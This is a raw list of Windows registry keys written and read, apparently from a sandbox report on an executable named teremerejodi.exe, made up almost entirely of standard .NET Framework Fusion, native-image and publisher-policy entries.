HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3a061730\1c46a6bd
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|teremerejodi.exe
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|teremerejodi.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|teremerejodi.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\Global
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3a061730\28c397b
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it-IT_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\40dcb014
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\1ffc8ca7
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\4ad60644\6f323003
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5d1b2185\235dd0a9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5d1b2185\9e47f51
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
